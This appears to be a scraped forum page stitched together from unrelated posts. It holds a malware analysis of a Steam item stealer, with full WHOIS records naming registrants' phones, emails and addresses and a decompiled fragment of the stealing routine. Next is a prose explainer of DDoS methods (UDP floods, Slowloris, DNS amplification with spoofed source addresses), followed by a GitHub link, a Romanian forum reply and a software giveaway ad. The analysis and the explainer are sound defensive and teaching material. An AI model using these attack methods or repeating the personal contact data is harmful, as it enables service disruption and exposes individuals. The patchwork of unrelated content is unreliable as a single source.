RU Registrant Phone: +79871975615 Registrant Phone Ext: Registrant Fax: Registrant Fax Ext: Registrant Email: spamspam228@mail.ru Registry Admin ID: Admin Name: Ivan Ivanov Admin Organization: Yandex LTD Admin Street: ul.Koshkina 15 kv 4 Admin City: Moscow Admin State/Province: MOSCOW STATE Admin Postal Code: 132170 Admin Country: RU Admin Phone: +79871975615 Admin Phone Ext: Admin Fax: Admin Fax Ext: Admin Email: spamspam228@mail.ru Registry Tech ID: Tech Name: Ivan Ivanov Tech Organization: Yandex LTD Tech Street: ul.Koshkina 15 kv 4 Tech City: Moscow Tech State/Province: MOSCOW STATE Tech Postal Code: 132170 Tech Country: RU Tech Phone: +79871975615 Tech Phone Ext: Tech Fax: Tech Fax Ext: Tech Email: spamspam228@mail.ru Name Server: ns1.hostinger.ru Name Server: ns2.hostinger.ru Name Server: ns3.hostinger.ru Name Server: ns4.hostinger.ru DNSSEC: Unsigned Regarding this search, we can see it's a Russian based domain that was created and is administered by spamspam228(at)mail.ru. There's no doubt spamspam228 is a legitimate email, right? My favorite part isn't the email, but that the registrant's name is Ivan Ivanov from the organization Yandex LTD. This is absolutely hilarious considering Yandex is a Russian search engine (and ISP I believe?). I don't think Mr. Ivan Ivanov from Yandex is behind this. If we now go ahead and look up this email, we can see: The email [email protected] is related to these domains : 1. printsrceen.com 2. prntsrc-online.com There's another interesting one: Domain Name: PICTURES-SCREEN.NET Registry Domain ID: Registrar WHOIS Server: whois.publicdomainregistry.com Registrar URL: www.publicdomainregistry.com Updated Date: 2014-12-23T16:15:07Z Creation Date: 2014-12-23T16:15:05Z Registrar Registration Expiration Date: 2015-12-23T16:15:05Z Registrar: PDR Ltd. d/b/a PublicDomainRegistry.com Registrar IANA ID: 303 Registrar Abuse Contact Email: Registrar Abuse Contact Phone: +1-2013775952 Domain Status: clientTransferProhibited Registry Registrant ID: Registrant Name: Xuila Pitrov Vasielvis Registrant Organization: ScreenPictures Registrant Street: Puschcicha,4,15 Registrant City: Moscow Registrant State/Province: Moscow Registrant Postal Code: 148821 Registrant Country: RU Registrant Phone: +7.9652422078 Registrant Phone Ext: Registrant Fax: Registrant Fax Ext: Registrant Email: jesus7298@mail.ru Registry Admin ID: Admin Name: Xuila Pitrov Vasielvis Admin Organization: ScreenPictures Admin Street: Puschcicha,4,15 Admin City: Moscow Admin State/Province: Moscow Admin Postal Code: 148821 Admin Country: RU Admin Phone: +7.9652422078 Admin Phone Ext: Admin Fax: Admin Fax Ext: Admin Email: jesus7298@mail.ru Registry Tech ID: Tech Name: Xuila Pitrov Vasielvis Tech Organization: ScreenPictures Tech Street: Puschcicha,4,15 Tech City: Moscow Tech State/Province: Moscow Tech Postal Code: 148821 Tech Country: RU Tech Phone: +7.9652422078 Tech Phone Ext: Tech Fax: Tech Fax Ext: Tech Email: jesus7298@mail.ru Name Server: ns1.webhost1.ru Name Server: ns2.webhost1.ru DNSSEC:Unsigned Administered by a Xuila Pitrov Vasielvis, from Russia once again, from the organization "ScreenPictures". It's the domain name backwards, hilarious. It's registered/administered by/to the email jesus7298(at)mail.ru. Once again, an interesting choice for an email. If we now go ahead and look up this email, we can see: The email jesus7298@mail.ru is related to these domains : 1. pictures-screen.net 2. picturesscreen.net 3. screenshotcapture.net See the pattern? Lots of malicious domains hosted and administered by Russians. So right away after deobfuscation you can find the Steam ID of the account the items are ultimately being sent to for collection, and information regarding the domain housing the malware. Of course after we find a Steam ID, we can look that up and find the profile on Steam Community. I won't be posting the Steam ID's publicly even though these accounts were used for malicious purposes, because I'm just here to analyze and that's it. You can probably dig up the profiles if you care enough to report them. Right, so we can see that this account is level 1 (new), the only game it has played is Dota 2, and it has joined the Dota 2 group so it can spam the malware. We can see this person was nice enough to leave their Skype, name (possibly fake in some cases), etc. I have blanked it out as I noted I will. Let's take a look at another account: This account is a bit more active, with 5.9 hours played of Dota 2 in the last two weeks. It's also level 2 as opposed to the previous account which was only level 1. This account is also in two of the usual spam groups, rather than one. With all of the above said, the above account was likely actively spamming successfully more than the first. Either that, or it was just used for spamming with the malware in general rather than prepared to be used for spamming. You can see the "view more info" button, which hilariously the user left most if not all of their online credentials and places to find them. One of the links was to a Russian hack forum in which they hosted a thread offering various "services". We can see some of the items the malware looked to steal: ldstr "440,570,730,753" ldstr "753:gift;570:rare,legendary,Dc,mythical,arcana,normal,unusual,ancient,tool,key;440:unusual,hat,tool,key;730:tool,knife,pistol,smg,shotgun,rifle,sniper rifle,machinegun,sticker,key" callvirt instance void SteamWorker::addItemsToSteal(string, [opt] string) The first few are Dota 2 tiers for the rarity quality for an item, and then we branch off to keys, unusual hats, hats in general, etc, and eventually ending up with Counter Strike items. Considering for example that unusual hats depending on the type, effect, etc can go upwards of several hundred dollars, this is a pretty annoying malware for people that aren't aware of it. Overall however it's not a very impressive piece of malware by any means, just looks like script stuff. However I don't think it was meant to/supposed to be. It has obviously satisfied its original and intended goal, which was to steal items. A lot of people have had their items stolen, simply because a lot of people aren't aware as I noted above. Although I said I wouldn't go into removal, to avoid this malware other than just understanding how it works, just make your trades private. Source

Distributed Denial Of Service, or DDoS, is an attack in which multiple devices send data to a target device (usually a server), with the hope of rendering the network connection or a system application unusable. There are many forms of DDoS attack, but almost all modern attacks are either at Layer 4 (The Transport Layer) or Layer 7 (The Application Layer), I'll cover both of these in depth. Although DDoS attacks can occur between almost any devices, I'll refer to the attacker as the client and the victim as the server. Layer 4 (Transport Layer) TCP, USD, SCTP, DCCP and RSVP are all examples of Layer 4 protocols; however, we'll focus on UDP as this is most commonly utilized for DDoS attacks. UDP is generally preferred over TCP based attacks because TCP requires a connection to be made before any data can be send; if the server or firewall refuses the connection, no data can be sent, thus the attack cannot proceed. UDP allows for the client to simply send data to the server without first making a connection, It's similar to the way in which mail reaches your house without your authorizartion, you can do whatever you want with it once you receive it, but you are still going to receive it. This is why software firewalls are useless against UDP attacks, because by the time the packet has reached your server, it's already traveled through your server's datacenter. If the datacenter's router is on a 1gb/s connection and more than 1gb/s of UDP packets are being sent, the router is going to be physically unable to process them all, rendering your server inaccessible (regardless of if the server processes the packets or not). The basic idea of UDP is to saturate the connection, rather than over-stress the server by sending it too much data. If the attack is powerful enough, it won't even need to reach the server, it can simply overload an upstream device responsible for routing data to the target server (or even that region of the datacenter). If we consider our hypothetical, inaccurate and oversimplified datacenter: We have a 3 Gb/s line connecting section 1 of the datacenter to the rest of the network, that 3 Gb/s line is then split into 3x 1 Gb/s lines for each of the 3 racks, each rack contains 3 servers, so each 1 Gb/s line is split into 3x 333 Mb/s lines. Let's assume all 3 servers in rack 1 have the world's best firewall; it might protect them all from DDoS, but if the attack exceeds 333 MB/s, the server will be offline regardless, if the attack exceeds 1 Gb/s the rack will be offline, and if the attack exceeds 3 GB/s the entire section will be offline. No matter how good the server's firewall is, the server will be offline if the upstream routers cripple under the load, it's theoretically possible to take offline an entire datacenter or even a whole country by sending a large enough attack to one server withing that datacenter/country. Mitigation of UDP attacks can only be performed by the datacenter themselves by deploy specialized routers (commonly known as hardware firewalls) at strategical points within the network. The aim is to filter out some of the DDoS at stronger parts of the network, before it reaches the downstream routers. A common method of "mitigation" among lazy ISPs is to simply stop routing any traffic to the IP address being attacked (known as null routing), this results in the server being offline until the datacenter staff decide otherwise, meaning the attacker can stop attacking and enjoy a nice nap. Layer 7 (Application Layer) Layer 7 DDoS attacks are probably the easiest to carry out in terms of resources needed, because the idea is not to over-saturate the network, but to simply lock up an application on the server. Due to the fact the attack isn't taking offline the whole server, it's easy for the sysadmin to login and begin to mitigation. An example of a Layer 7 attack against a website would be to constantly send GET requests to a page which performs lots of SQL queries; most SQL servers have a limit on the amount of queries they can process at one time, any more and the server will have to start denying requests, preventing legitimate clients from using the website. Attackers don't even need to flood the server with requests, it's possible to simply overload the application by maintaining open connections (without sending tonnes of data). Slowloris is an example of such attack where the attacker opens connections to the HTTP server and sends HTTP requests bit by bit, as slowly as possible. The server cannot process a request until it's complete, so it just waits indefinitely until the entire request has been sent; once the maximum number of clients is hit, the server will just ignore any new clients until it's done with the old (of course the old clients are just going to continue adding useless data to the HTTP request, keeping the connection busy for as long as they can). DDoS Amplification DDoS amplification is nothing new, it has actually been around so long that Microsoft patched their OS to try and prevent attacks (I'll go over this later). Amplification attacks are nearly always UDP because it does not require a connection, UDP packets operate a lot like a letter in the mail: they have a return address (known as the source address) in which the server will reply to, but as with any letter, there is no guarantee the return address matches that of whoever sent it. For an amplification attack to work, we first need a service that works over UDP and has a response message that is larger than the request message. A good example of this is a DNS query: the request to lookup the DNS is only about 60 bytes, but the DNS response can be as large as 4000 bytes (due to long txt records), that's a 1:67 amplification ratio. All the attacker needs to do is find a DNS that when queried will result in a large response, then send a query to said DNS with the victims IP and the source address, resulting in the DNS server sending the response to the victim instead of the attacker. Due to the size different between a DNS request and DNS response, an attacker can easily transform a botnet capable of outputting 1 Gb/s worth of requests into 60 Gb/s DDoS attack, this is a huge problem. In order to mitigate these kinds of attacks, Microsoft introduced an update to the windows network stack in XP SP2, which would prevent the system from sending UDP packets with a source address other than its own. Some ISPs took a similar approach by inspecting outgoing UDP packets and dropping any which did not contain a source address owned by the sender. As a result of such measures, Amplified DDoS attacks are primarily sent from linux servers running in a datacenter that does not implement source address verification. Who Can Perform DDoS Attacks? In the past DDoS attacks were only for seasoned hackers with large botnets under their control, due to the fact home computers don't have much bandwidth, requiring hundreds, if not thousands, of them to take offline a single server. Nowadays people can just buy (or hack) servers and use them to perform attacks; a botnet of as little as 2 servers can take offline most website. An attacker doesn't even need to acquire their own servers, there are many services utilizing bought/hacked servers to perform DDoS attacks for as little as a $5/month subscription fee. It is also believed that Lizard Squad were able to take offline massive services such as PSN and XBL by abusing the Google Cloud free trial, using the virtual servers as DDoS bots. Source

Site: https://github.com/swwwolf/wdbgark

fiindca sunt produse diferite uitate si la cele vechi care au ajutat useri, in loc sa faci offtopic mai bine ai posta ceva util, bafta.

Ashampoo UnInstaller 4 is a special tool for Windows that lets you cleanly uninstall programs, deleting files, folders, etc. that programs leave behind after being uninstalled. It also has other tools, such as file wiper, undeleter, defragger, privacy cleaner, and more. Want more features, like real-time monitoring? Then get Ashampoo UnInstaller 5, the latest and greatest version of Ashampoo UnInstaller. Sale ends in 20 hrs 19 mins Free Ashampoo UnInstaller 4 (100% discount)